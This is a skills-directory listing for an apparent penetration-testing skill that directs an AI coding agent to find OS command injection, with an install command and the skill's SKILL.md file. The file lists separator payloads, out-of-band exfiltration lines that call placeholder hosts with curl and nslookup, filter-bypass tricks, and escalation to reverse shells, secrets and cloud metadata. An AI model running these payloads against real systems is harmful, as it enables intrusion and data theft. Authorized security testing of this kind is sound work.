Skip to content
Back to skills

Command Injection

ASecurity

OS command injection — user input concatenated into a system/shell call. Separator and inline injection, blind time/OAST confirmation, filter/space/quote bypass, and escalation to reverse shell and host compromise. Tier 1. Payloads: payloads/command-exec.md + injection.md. Use for features that invoke system commands (ping/lookup tools, converters, archive/git handlers).

  • 16 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added November 17, 2026
securityshellgitbackend

Works with

  • cli
  • mcp

Security analysis

A92/100
  • mediumUses curl or wget to download content

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill command-injection --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Command Injection?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Command Injection
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-command-injection/badge)](https://www.skillsdirectory.com/skills/anandjogawade-command-injection)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: command-injection
description: "OS command injection — user input concatenated into a system/shell call. Separator and inline injection, blind time/OAST confirmation, filter/space/quote bypass, and escalation to reverse shell and host compromise. Tier 1. Payloads: payloads/command-exec.md + injection.md. Use for features that invoke system commands (ping/lookup tools, converters, archive/git handlers)."
---

# OS Command Injection

Input reaches a shell. Break out with a separator, confirm (visible or OOB), evade filters, escalate.

## Trigger phrases
`command injection, os command injection, rce, shell injection, blind command injection`

## Method
1. **Separators/inline:** `; id` `| id` `|| id` `& id` `&& id` `%0a id` ``id`` `$(id)` — in values, filenames, and headers (INJECTION-POINTS.md).
2. **Blind:** time (`; sleep 10`) then **OAST** (`; nslookup $(whoami).oob.example`, `; curl http://oob.example/$(id|base64)`) — confirm via callback before concluding negative.
3. **Bypass** (${CLAUDE_PLUGIN_ROOT}/payloads/command-exec.md + waf-bypass.md): `${IFS}`/`<`/brace-expansion for spaces, quote-insertion (`w'h'o'ami`), base64-decode-exec, globbing, Windows `^`/`"` tricks, `powershell -enc`.
4. **Escalate:** OS/arch-matched reverse shell, read secrets/config, cloud metadata, stabilize shell — honor Tier gate for intrusive steps on production.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP) or headless browser for client-side; Windows-local last resort. If a Burp MCP is present, route requests through Burp proxy for visibility and send manual PoCs to Repeater (see `zazy-orchestrator`).

## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.

## Evidence
The injected command, output or OAST callback, the bypass used, and remediation.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.